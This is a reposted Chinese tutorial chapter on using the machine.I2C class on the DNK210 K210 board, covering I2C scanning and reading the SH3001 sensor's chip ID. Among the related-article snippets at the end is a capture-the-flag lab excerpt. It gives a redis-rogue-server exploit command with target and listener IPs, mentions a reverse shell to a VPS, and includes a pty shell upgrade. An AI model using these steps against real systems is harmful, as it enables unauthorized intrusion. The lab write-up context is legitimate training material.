《DNK210使用指南 -CanMV版 V1.0》

news/2024/9/21 7:50:16/文章来源:https://www.cnblogs.com/zdyz/p/18369468

第二十章 machine.I2C类实验

1)实验平台:正点原子DNK210开发板

2)章节摘自【正点原子】DNK210使用指南 - CanMV版 V1.0

3)购买链接:https://detail.tmall.com/item.htm?&id=782801398750

4)全套实验源码+手册+视频下载地址:http://www.openedv.com/docs/boards/k210/ATK-DNK210.html

5)正点原子官方B站:https://space.bilibili.com/394620890

6)正点原子K210技术交流企鹅群:605557868

本章将介绍machine模块中的I2C类。通过本章的学习,读者将学习到machine模块中I2C类的使用。
本章分为如下几个小节:
20.1 machine.I2C类介绍
20.2 硬件设计
20.3 程序设计
20.4 运行验证

20.1 machine.I2C类介绍
machine.I2C类是machine模块内提供的类,该类不仅能用于访问和控制Kendryte K210硬件上的I2C控制器,还能使用软件模拟I2C与外部设备通讯。I2C总线用于和多个外部设备进行通信,多个外部设备可以共用一个I2C总线。Kendryte K210的硬件I2C控制器具有以下特点:

  1. 支持主机模式和从机模式
  2. 支持主机多从机通信
  3. 支持标准模式(100Kb/s)
  4. 支持快速模式(400Kb/s)
  5. 支持7-bit和10-bit寻址
  6. 支持关闭SCL时钟实验连续数据传输
  7. 支持可编程数字噪声滤波功能

machine.I2C提供了I2C构造函数,用于创建一个I2C对象,I2C构造函数如下所示:

class I2C(id=I2C.I2C0, mode=I2C.MODE_MASTER, scl=None, sda=None, gscl=None,
gsda=None, freq=400000, timeout=1000, addr=0, addr_size=7, on_receive=None, on_transmit=None, on_event=None)

通过I2C构造函数可以通过指定参数创建并初始化一个I2C对象。

id指的是I2C的编号,可以是I2C.I2C0I2C.I2C5和I2C.I2C_SOFT,其中I2C.I2C0I2C.I2C2对应了Kendryte K210硬件上的I2C0、I2C1和I2C2,而I2C.I2C3~I2C.I2C5和I2C.I2C_SOFT则是CanMV软件通过控制GPIOHS模拟的I2C。

mode指的是I2C模式,可以是I2C.MODE_MASTER(主机模式)或I2C.MODE_SLAVE(从机模式)。
scl指的是I2C SCL信号使用的IO引脚编号。
sda指的是I2C SDA信号使用的IO引脚编号。
gscl指的是当使用软件模拟I2C时,I2C SCL信号使用的GPIOHS编号。
gsda指的是当使用软件模拟I2C时,I2C SDA信号使用的GPIOHS编号。
freq指的是I2C的通讯频率,支持标准模式100Kb/s、快速模式400Kb/s,若是硬件I2C,还支持超快速模式1000Kb/s和高速模式3.4Mb/s。
timeout指的是软件模拟I2C等待SCL信号释放的超时时间。
addr指的是从机模式下的从机地址,即本机地址。
addr_size指的是地址的长度,可以是7或10,分别对应7-bit和10-bit寻址。
on_receive指的是从机模式下的接收回调函数。
on_transmit指的是从机模式下的发送回调函数
on_event指的是从机模式下的事件回调函数(开始事件和结束事件)。

I2C构造函数的使用示例如下所示:

from board import board_info
from machine import I2Ci2c = I2C(id=I2C.I2C0, scl=board_info.IMU_SCL, sda=board_info.IMU_SDA)

machine.I2C类为I2C对象提供了scan()方法,用于扫描I2C总线上的从机,scan()方法如下所示:

I2C.scan()

scan()方法用于扫描I2C总线上挂载的所有I2C设备并以列表的形式返回它们的I2C从机地址。

scan()方法的使用示例如下所示:

from board import board_info
from machine import I2Ci2c = I2C(id=I2C.I2C0, scl=board_info.IMU_SCL, sda=board_info.IMU_SDA)
devices = i2c.scan()

machine.I2C类为I2C对象提供了readfrom_mem_into()方法,用于读取从机寄存器的值到指定的变量中,readfrom_mem_into()方法如下所示:

I2C.readfrom_mem_into(addr, memaddr, buf, mem_size=8)

readfrom_mem_into()方法用于读取从机寄存器的值到指定的变量中。
addr指的是I2C从机的从机地址。
memaddr指的是I2C从机的寄存器地址。
buf指的是指定保存数据的变量。
mem_size指的是寄存器宽度,默认为8bit。

readfrom_mem_into()方法的使用示例如下所示:

from board import board_info
from machine import I2Ci2c = I2C(id=I2C.I2C0, scl=board_info.IMU_SCL, sda=board_info.IMU_SDA)
devices = i2c.scan()buf = bytearray(1)
i2c.readfrom_mem_into(devices[0], 0x0F, buf)

machine.I2C类为I2C对象提供了writeto_mem()方法,用于将指定变量的值写入到从机的寄存器中,writeto_mem()方法如下所示:

I2C.writeto_mem(addr, memaddr, buf, mem_size=8)

writeto_mem()方法用于将指定变量的值写入到从机的寄存器中。
addr指的是I2C从机的从机地址。
memaddr指的是I2C从机的寄存器地址。
buf指的是指定保存数据的变量。
mem_size指的是寄存器宽度,默认为8bit。
writeto_mem()方法的使用示例如下所示:

from board import board_info
from machine import I2Ci2c = I2C(id=I2C.I2C0, scl=board_info.IMU_SCL, sda=board_info.IMU_SDA)
devices = i2c.scan()buf = bytearray(1)
buf[0] = 0x00
i2c.writeto_mem(devices[0], 0x0F, buf)

20.2 硬件设计

20.2.1 例程功能

  1. 创建一个I2C对象,并将其配置为主机模式
  2. 使用I2C对象的scan()方法,扫描板载的I2C从设备,并打印输出
  3. 使用I2C对象的readfrom_mem_into()方法,读取板载六轴传感器SH3001的芯片ID,并打印输出

20.2.2 硬件资源

  1. 六轴传感器SH3001
    SCL - IO22
    SDA - IO23

20.2.3 原理图
本章实验内容,需要通过I2C总线与板载的六轴传感器SH3001进行通讯,正点原子DNK210开发板上六轴传感器SH3001的连接原理图,如下图所示:

图20.2.3.1 六轴传感器SH3001连接原理图

通过以上原理图可以看出,板载的六轴传感器SH3001通过I2C总线与Kendryte K210进行连接,其中I2C总线的SCL信号和SDA信号对应的IO编号分别为IO22和IO23。同时,因为六轴传感器SH3001的SDO引脚是被拉低的,因此结合六轴传感器SH3001的数据手册可以直到该连接方式的六轴传感器SH3001的I2C通讯从地址为0x36。

20.3 程序设计

20.3.1 machine.I2C类
有关machine.I2C类的介绍,请见第20.1小节《machine.I2C类介绍》。

20.3.2 程序流程图

图20.3.2.1 machine.I2C类实验流程图

20.3.3 main.py代码
main.py中的脚本代码如下所示:

from board import board_info
from fpioa_manager import fm
from machine import I2C# 构造I2C对象
i2c = I2C(I2C.I2C0, scl=board_info.IMU_SCL, sda=board_info.IMU_SDA)# 扫描I2C总线从设备
devices = i2c.scan()
print("Find devices:", devices)# 读取SH3001芯片ID
buf = bytearray(1)
i2c.readfrom_mem_into(0x36, 0x0F, buf)
print("SH3001 Chip ID: 0x%X" % buf[0])

可以看到,首先是构造了一个I2C对象,I2C对象被配置为默认的主机模式,并且I2C总线的SCL和SDA信号使用的分别是六轴传感器SH3001所连接的SCL和SDA对应的IO。

接着使用scan()方法,扫描I2C总线上的从设备地址,并且通过print()打印输出,由于板载六轴传感器SH3001的I2C设备地址为0x36,因此应该会扫描到设备地址为0x36的I2C设备。

最后使用readfrom_mem_into()方法读取六轴传感器SH3001的芯片ID,并通过print()打印输出,因为六轴传感器SH3001的芯片ID为0x61,因此这一步骤输出的芯片ID因该为0x61。

20.4 运行验证

将DNK210开发板连接CanMV IDE,并点击CanMV IDE上的“开始(运行脚本)”按钮后,可以看到“串行终端”窗口中输出了一系列信息,如下图所示:

图20.4.1 “串行终端”窗口打印输出

可以看到,“串行终端”串口中先是显示了扫描到的I2C总线设备地址,设备地址为54,要注意的是,这的设备地址是以十进制表示的,对应的十六进制就是0x36,也就是板载六轴传感器SH3001的I2C设备地址。

接着是输出了板载六轴传感器SH3001的芯片ID为0x61,这与SH3001数据手册中的描述一致。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/784318.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AnolisOS 7.9 静默安装Oacle 11.2.0.4

目录环境准备安装包下载上传安装包创建组和用户创建目录及设置权限编辑用户环境变量编辑资源限制修改内核参数编辑/etc/pam.d/login文件安装依赖包关闭防火墙selinux安装数据库软件准备db_install.rsp响应文件运行runInstaller进行安装创建监听创建数据库准备dbca.rsp响应文件创…

电压电流表设计文档

本工程基于立创开发板的电压电流表训练营,在原项目基础上增加了1.8寸TFT屏幕,ESP32蓝牙芯片,USB接口,3.7V锂电池接口及其充电电流、SD卡接口,W25Q64芯片。摘要 设想设计概述 系统组成及功能说明理论成立,开始实现原理图绘制以及器件选型 软件设计实现中遇到的问题设计问题…

TA实践分享:材质与渲染——植物与风(Unity+UE)

【USparkle专栏】如果你深怀绝技,爱“搞点研究”,乐于分享也博采众长,我们期待你的加入,让智慧的火花碰撞交织,让知识的传递生生不息!一、美术分析下面是风格化和写实两种风格的草地效果,看上去是两种不搭边的美术表现形式,但拆解其背后的美术特征和实现原理二者在我们…

1线性回归

一、概念 线性回归是机器学习中有监督机器学习下的一种算法。 回归问题主要关注的是因变量y(需要预测的值,可以是一个也可以是多个)和一个或多个数值型的自变量x(预测变量)之间的关系。需要预测的值:目标变量(target,y,连续值预测变量)。 影响目标变量的因素:X1..Xn…

设计模式之cglib动态代理

什么是动态代理呢?动态代理就是在java进程运行时,通过字节码技术,动态的生成某个类的代理类。在这个代理类中,我们可以做一些额外的操作,一方面仍然保持原有的方法的能力,另外一方面还增强了这些能力。听着是不是AOP有点像,没错,动态代理就是AOP的技术基石。在这之前我…

yarn 失败

1、输入yarn后,下载失败报错 connect ETIMEDOUT 10.136.33.5:8081at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1141:16)[1/4] Resolving packages... [2/4] Fetching packages... info There appears to be trouble with your network connection. Retrying... i…

AtCoder ABC 367

题解前言 本题解部分思路来自于网络,仅供参考。 A - Shout Everyday 题目大意 给定 Takahashi 每天的睡觉时间和起床时间,求 Takahashi 在 $A$ 时是睡着的还是清醒的。 解题思路 根据题意模拟即可。 code #include <bits/stdc++.h> using namespace std; int main() {i…

Ros2 MoveIt2 MoveGroup C++接口

在 MoveIt 中,最简单的用户界面是通过 MoveGroupInterface 类。 它为用户可能想要执行的大多数操作提供了易于使用的功能,特别是设置关节或姿势目标、创建运动计划、移动机器人、将对象添加到环境中以及从机器人上连接/分离对象。 此接口通过 ROS 主题、服务和操作与 MoveGro…

春秋云镜 Brute4Road

春秋云镜 Brute4Road先用fscan扫一下内网尝试打redis主从 python3 redis-rogue-server.py --rhost 39.98.122.75 --lhost 123.57.23.40 需要在vps下使用,选择r,然后输入要反弹的ip,port 使用pty获得交互式shell python -c import pty;pty.spawn("/bin/bash")尝试UID提…

【OpenCV教程】轮廓检测过程

@目录1.查找轮廓1.1 API1.2 轮廓层级检测模式:索引号(层级)RETR_EXTERNAL(索引顺序:从右下到左上)RETR_LIST(recommended)(索引顺序:从右下到左上,由外到内)RETR_CCOMP(not recommended)(索引顺序:由内到外,从右下到左上)RETR_TREE(recommended)1.3 轮廓坐标点储…

题解:P10279 [USACO24OPEN] The Winning Gene S

思路 建议升蓝。 算法一 考虑暴力。 我们先枚举 \(K,L\),考虑如何求解。 直接枚举每一个 \(K\)-mer,再枚举里面的每一个长度为 \(L\) 的子串,找到最大的子串并在起始部分打一个标记。最后直接看有几个地方被打标记就行。 时间复杂度:\(O(n^4)\)。预计能过测试点 \(1-4\)。 …

C10-02-HTML示例

HTML:02-1.html 基本功能实现:<a>和<img>标签联合使用及<img src="#"> 图片资源绝对路径引用JS使用:行内式、内嵌式、引入外部JS<input>标签:输入标签文本框<!DOCTYPE html> <html lang="en"> <head><me…